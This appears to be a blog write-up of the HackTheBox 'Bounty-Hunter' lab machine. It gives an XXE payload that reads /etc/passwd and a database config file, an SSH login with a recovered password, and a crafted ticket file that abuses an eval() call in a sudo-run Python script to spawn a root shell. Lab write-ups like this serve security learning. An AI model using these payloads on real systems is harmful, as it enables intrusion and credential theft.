Bounty-Hunter-HTB-Writeup

Faris
6 min readApr 3, 2022

The new easy ranked machine on hack-the-box platform is called Bounty-Hunter so let’s try solving it and see what is going in there

First we run the nmap scan as usual to check the open ports

So there are only 2 open ports

And here are the gobuster results time to check the webpage on port 80

It was a simple web page the portal button was the only eye catcher since it redirects us to another page and don’t miss the “Can use burp” sentence too

Here is what portal redirects us to it’s a bounty report system

I tried to use a php reverse shell and wait but it wasn’t the right way so I opened burp and intercepted the request while submitting the data we add

POST /tracker_diRbPr00f314.php HTTP/1.1
Host: bountyhunter.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 211
Origin: http://bountyhunter.htb
Connection: close
Referer: http://bountyhunter.htb/log_submit.php
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50ZXN0PC90aXRsZT4KCQk8Y3dlPjE8L2N3ZT4KCQk8Y3Zzcz4xPC9jdnNzPgoJCTxyZXdhcmQ%2BMTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D

The data carries a base64 code so let’s decode it and check what is says

<?xml  version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>test</title>
<cwe>1</cwe>
<cvss>1</cvss>
<reward6ɕ݅ɐ($$՝ɕ7p

hmm… So it’s XML maybe a simple xxe attack could be useful to us

Read more about xxe here

We can find xxe payload on PayloadsAllTheThings but we still have to edit out own so let’s get started

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>&xxe;</cwe>
<cvss>&xxe;</cvss>
<reward>&xxe;</reward>
</bugreport>

This payload should return the /etc/passwd file but first we have to decode it base64 and url encoding

Cybershef is good for such a situation and here is the recipe

Now we add the output in the request as data and see what we get

Perfect..It worked as expected but now we have to decode this base64 data to read the data we need you can use any base64 decoder

We now know that the machine has one additional user called ‘development’

Since we know how to exploit and use the payloads here I tried to get an RCE from XXE I read this blog and thought it could be useful here but unfortunately got nothing

After some more reading a common file which always contains valuable data we can check named ‘db.php’ hope it’s a valuable database

All we need to do is just change the passwd path to the db.php and the same decoding process again

Here is our password now time to login via ssh with the username we found in etc/passwd and this password

ssh development@bountyhunter.htb  passwd=m19RoAU0hP41A1sTsq6K

We are in but someone edited the damn flag… Toxic players are the worst

Anyways let’s start the next step privilege escalation

There is a file called contract.txt and it says:

Hey team,I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.I set up the permissions for you to test this. Good luck.-- John

So john has a problem dealing with some tickets and he wants the “development” team to help solving this problem so he gave them the permissions to edit the script

running sudo -l will show us the script we can run as root without password

cat /opt/skytrain_inc/ticketValidator.py
----------------------------------------
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()

The most important part in this validation script is

def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()

endswith is responsible to filter the files with nae and here it checks for the files that ends with .md and open it or it prints “wrong file type.”

If we created a file with .md extension and then let the script run what’s inside for us we will be root easily

After trying:

Let’s pretend I said nothing about getting root easily 👉 👈

Anyways reading the python script again we can see that there are some definitions must be added first to our fake ticket and some conditions must be achieved so let’s apply them to out ticket and try again

Conditions:

1- File's extensions = .md
2- The ticket starts with # Skytrain Inc
3- second line is ## Ticket to [destination] which is the root user
4- third line is __Ticket Code:__
5- Add ** in the first of the forth line then add a code in the same line where the code % 7 = 4 and the condition is true at the same time and the code must be greater than 100

The first 4 rules are easy to be done all the work is in the 5th condition

# Skytrain Inc   
## Ticket to root
__Ticket Code:__
**

This how our ticket looks like…Now let’s add the last condition we need a number divided by 7 and still have 4 left

We keep adding 7s till we reach the nearest number to 100 and the remaining = 4

7x14 = 98 // 98 + 4 = 102 // we got our ticket code (102)

Now we need to make it a true statment

**102 + 1 == 103 now the condition is true and we can freely ask for a shell as root

The ticket should be something like this

# Skytrain Inc   
## Ticket to root
__Ticket Code:__
**102+ 1 == 103 and __import__('os').system('/bin/bash')

Don’t forget to set the file’s extension to .md

Let’s try it

Bingo.. It worked but unfortunately the flag was refused someone edited it too or it’s just a bug in hackthebox.

Respect on HTB it won’t take a minute

--

--